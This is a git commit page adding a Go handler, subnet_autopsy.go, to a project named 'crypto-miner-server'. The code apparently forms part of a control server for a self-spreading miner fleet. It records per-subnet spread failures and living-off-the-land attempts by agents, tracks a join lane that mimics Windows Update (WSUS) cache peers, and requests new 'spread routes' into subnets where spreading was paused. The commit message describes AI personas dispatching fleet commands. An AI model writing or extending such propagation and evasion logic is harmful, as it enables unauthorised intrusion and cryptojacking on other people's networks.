Add adversarial L4 court chamber with Seer court_debate feed.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
This commit is contained in:
304
server/internal/api/subnet_autopsy.go
Normal file
304
server/internal/api/subnet_autopsy.go
Normal file
@@ -0,0 +1,304 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// SubnetAutopsyHandler serves immune autopsy packets for paused /24 prefixes.
|
||||
type SubnetAutopsyHandler struct {
|
||||
hub *WSHub
|
||||
pathTracer *PathTracerHandler
|
||||
}
|
||||
|
||||
func NewSubnetAutopsyHandler(hub *WSHub, pathTracer *PathTracerHandler) *SubnetAutopsyHandler {
|
||||
return &SubnetAutopsyHandler{hub: hub, pathTracer: pathTracer}
|
||||
}
|
||||
|
||||
// GET /api/v1/atlas/subnet-autopsy?subnet=
|
||||
func (h *SubnetAutopsyHandler) Get(w http.ResponseWriter, r *http.Request) {
|
||||
if h == nil || h.hub == nil {
|
||||
http.Error(w, "subnet autopsy unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
prefix := atlas.PrefixFromHostOrIP(r.URL.Query().Get("subnet"))
|
||||
if prefix == "" {
|
||||
http.Error(w, "subnet query required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
pkt, ok := h.hub.SubnetAutopsy(prefix)
|
||||
if !ok {
|
||||
pkt = h.hub.BuildSubnetAutopsy(prefix, h.pathTracer)
|
||||
}
|
||||
writeJSON(w, pkt)
|
||||
}
|
||||
|
||||
// TriggerSubnetAutopsy builds, caches, and broadcasts an autopsy when immune pause activates.
|
||||
func (h *WSHub) TriggerSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) {
|
||||
pkt := h.BuildSubnetAutopsy(prefix, pathTracer)
|
||||
h.storeSubnetAutopsy(pkt)
|
||||
h.BroadcastSeerEvent(map[string]interface{}{
|
||||
"type": "subnet_immune_autopsy",
|
||||
"prefix": pkt.Prefix,
|
||||
"triggered": pkt.TriggeredAt,
|
||||
"cause": pkt.CauseOfDeath,
|
||||
"vaccination": pkt.VaccinationLane,
|
||||
"packet": pkt,
|
||||
})
|
||||
log.Printf("[subnet-autopsy] immune pause autopsy for %s (%d failures)", pkt.Prefix, pkt.FailCount)
|
||||
}
|
||||
|
||||
func (h *WSHub) storeSubnetAutopsy(pkt atlas.SubnetAutopsyPacket) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
if h.subnetAutopsies == nil {
|
||||
h.subnetAutopsies = make(map[string]atlas.SubnetAutopsyPacket)
|
||||
}
|
||||
h.subnetAutopsies[pkt.Prefix] = pkt
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
// SubnetAutopsy returns a cached autopsy packet for prefix.
|
||||
func (h *WSHub) SubnetAutopsy(prefix string) (atlas.SubnetAutopsyPacket, bool) {
|
||||
if h == nil {
|
||||
return atlas.SubnetAutopsyPacket{}, false
|
||||
}
|
||||
prefix = atlas.PrefixFromHostOrIP(prefix)
|
||||
h.mu.RLock()
|
||||
pkt, ok := h.subnetAutopsies[prefix]
|
||||
h.mu.RUnlock()
|
||||
return pkt, ok
|
||||
}
|
||||
|
||||
// BuildSubnetAutopsy assembles an immune autopsy from fleet state.
|
||||
func (h *WSHub) BuildSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) atlas.SubnetAutopsyPacket {
|
||||
prefix = atlas.PrefixFromHostOrIP(prefix)
|
||||
now := time.Now().UTC()
|
||||
pkt := atlas.SubnetAutopsyPacket{
|
||||
Prefix: prefix,
|
||||
TriggeredAt: now,
|
||||
Persona: ai.NormalizePersona(h.serverPolicySnapshot().AIPersona),
|
||||
WSUSMimic: atlas.WSUSMimicSnapshot{
|
||||
FormatMimicEnabled: true,
|
||||
CachePeerLane: "wsus_cache_peer",
|
||||
},
|
||||
}
|
||||
policy := h.serverPolicySnapshot()
|
||||
pkt.ErasureFallback = atlas.ErasureFallbackSnapshot{
|
||||
ErasureLanesEnabled: policy.ErasureLanesEnabled,
|
||||
AvailableAsFallback: policy.ErasureLanesEnabled,
|
||||
}
|
||||
|
||||
if h.db != nil {
|
||||
if row, err := h.db.GetSubnetSpreadPause(prefix); err == nil && row != nil {
|
||||
pkt.FailCount = row.FailCount
|
||||
pkt.PausedUntil = row.PausedUntil
|
||||
}
|
||||
}
|
||||
|
||||
agents := h.agentsOnSubnet(prefix)
|
||||
pkt.LOTLAttempts = atlas.TrimLOTLAttempts(collectSubnetLOTLAttempts(h, agents), atlas.SubnetAutopsyLOTLAttemptLimit)
|
||||
pkt.GossipWhispers = atlas.TrimGossipWhispers(h.gossipWhispersForSubnet(prefix), atlas.SubnetAutopsyGossipWhisperLimit)
|
||||
pkt.FailureAtlas = h.failureAtlasSummaryForSubnet(agents)
|
||||
|
||||
if joinLane := recentJoinLane(h, agents); joinLane != "" {
|
||||
pkt.WSUSMimic.RecentJoinLane = joinLane
|
||||
if joinLane == "wsus_cache_peer" {
|
||||
pkt.WSUSMimic.FormatMimicEnabled = true
|
||||
}
|
||||
}
|
||||
|
||||
if pathTracer != nil {
|
||||
if hint := pathTracer.RecommendSpreadRoute(prefix, pkt.WSUSMimic.RecentJoinLane, ""); hint != nil {
|
||||
pkt.VaccinationLane = hint
|
||||
}
|
||||
}
|
||||
|
||||
pkt.CauseOfDeath = atlas.BuildCauseOfDeath(pkt)
|
||||
return pkt
|
||||
}
|
||||
|
||||
func (h *WSHub) agentsOnSubnet(prefix string) []*models.Agent {
|
||||
if h == nil || h.db == nil || prefix == "" {
|
||||
return nil
|
||||
}
|
||||
subnetLabel := prefix + ".x"
|
||||
agents, err := h.db.ListAgentsFiltered(db.AgentListFilter{Subnet: subnetLabel, Limit: 64})
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return agents
|
||||
}
|
||||
|
||||
func collectSubnetLOTLAttempts(hub *WSHub, agents []*models.Agent) []atlas.LOTLAttemptSnapshot {
|
||||
var out []atlas.LOTLAttemptSnapshot
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
attempts := lotlAttemptsForAgent(hub, ag)
|
||||
for _, a := range attempts {
|
||||
a.AgentID = ag.ID
|
||||
a.AgentName = ag.Name
|
||||
out = append(out, a)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func lotlAttemptsForAgent(hub *WSHub, ag *models.Agent) []atlas.LOTLAttemptSnapshot {
|
||||
if hub != nil {
|
||||
hub.mu.RLock()
|
||||
if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
|
||||
hub.mu.RUnlock()
|
||||
if parsed := parseLOTLAttemptsFromTelemetry(tel); len(parsed) > 0 {
|
||||
return parsed
|
||||
}
|
||||
} else {
|
||||
hub.mu.RUnlock()
|
||||
}
|
||||
}
|
||||
return parseLOTLAttemptsFromAgent(ag)
|
||||
}
|
||||
|
||||
func parseLOTLAttemptsFromTelemetry(tel map[string]interface{}) []atlas.LOTLAttemptSnapshot {
|
||||
raw, ok := tel["lotl_attempts"]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
b, err := json.Marshal(raw)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var attempts []atlas.LOTLAttemptSnapshot
|
||||
if json.Unmarshal(b, &attempts) != nil {
|
||||
return nil
|
||||
}
|
||||
return attempts
|
||||
}
|
||||
|
||||
func parseLOTLAttemptsFromAgent(ag *models.Agent) []atlas.LOTLAttemptSnapshot {
|
||||
if ag == nil || len(ag.LOTLAttempts) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]atlas.LOTLAttemptSnapshot, 0, len(ag.LOTLAttempts))
|
||||
for _, a := range ag.LOTLAttempts {
|
||||
out = append(out, atlas.LOTLAttemptSnapshot{
|
||||
Tier: a.Tier,
|
||||
OK: a.OK,
|
||||
Error: a.Error,
|
||||
DurationMs: a.DurationMs,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func recentJoinLane(hub *WSHub, agents []*models.Agent) string {
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
if hub != nil {
|
||||
hub.mu.RLock()
|
||||
if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
|
||||
if lane, ok := tel["join_lane"].(string); ok && strings.TrimSpace(lane) != "" {
|
||||
hub.mu.RUnlock()
|
||||
return strings.TrimSpace(lane)
|
||||
}
|
||||
}
|
||||
hub.mu.RUnlock()
|
||||
}
|
||||
if strings.TrimSpace(ag.JoinLane) != "" {
|
||||
return strings.TrimSpace(ag.JoinLane)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (h *WSHub) failureAtlasSummaryForSubnet(agents []*models.Agent) string {
|
||||
if h == nil || h.db == nil || len(agents) == 0 {
|
||||
return ""
|
||||
}
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
domainJoined := ag.FirewallDomain != nil && *ag.FirewallDomain
|
||||
fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, domainJoined)
|
||||
summary, err := h.db.FailureAtlasSummary(fp.Key(), fp.GOOS)
|
||||
if err == nil && summary != "" && summary != "no fleet failure atlas samples for this fingerprint" {
|
||||
return summary
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func normalizeGossipSubnetKey(prefix string) string {
|
||||
prefix = strings.TrimSpace(prefix)
|
||||
if prefix == "" {
|
||||
return ""
|
||||
}
|
||||
if norm := atlas.PrefixFromHostOrIP(prefix); norm != "" {
|
||||
return norm
|
||||
}
|
||||
prefix = strings.TrimSuffix(prefix, ".0/24")
|
||||
prefix = strings.TrimSuffix(prefix, "/24")
|
||||
return strings.TrimSpace(prefix)
|
||||
}
|
||||
|
||||
func (h *WSHub) recordGossipWhisper(prefix string, hints []atlas.GossipHint) {
|
||||
prefix = normalizeGossipSubnetKey(prefix)
|
||||
if prefix == "" || len(hints) == 0 {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
if h.subnetGossipWhispers == nil {
|
||||
h.subnetGossipWhispers = make(map[string][]atlas.GossipHint)
|
||||
}
|
||||
merged := atlas.MergeGossipSkips(toAtlasSkips(h.subnetGossipWhispers[prefix]), hints)
|
||||
out := make([]atlas.GossipHint, 0, len(merged))
|
||||
for _, s := range merged {
|
||||
out = append(out, atlas.GossipHint{Tier: s.Tier, Condition: s.Condition, Reason: s.Reason})
|
||||
}
|
||||
h.subnetGossipWhispers[prefix] = out
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) gossipWhispersForSubnet(prefix string) []atlas.GossipHint {
|
||||
prefix = normalizeGossipSubnetKey(prefix)
|
||||
if h == nil || prefix == "" {
|
||||
return nil
|
||||
}
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
if h.subnetGossipWhispers == nil {
|
||||
return nil
|
||||
}
|
||||
return append([]atlas.GossipHint(nil), h.subnetGossipWhispers[prefix]...)
|
||||
}
|
||||
|
||||
func toAtlasSkips(hints []atlas.GossipHint) []atlas.AtlasSkip {
|
||||
skips := atlas.SkipsFromHints(hints)
|
||||
out := make([]atlas.AtlasSkip, len(skips))
|
||||
copy(out, skips)
|
||||
return out
|
||||
}
|
||||
|
||||
// BroadcastSeerEvent pushes structured events to dashboard Seer consumers.
|
||||
func (h *WSHub) BroadcastSeerEvent(ev interface{}) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "seer_events", Payload: mustMarshal(ev)})
|
||||
}
|
||||
Reference in New Issue
Block a user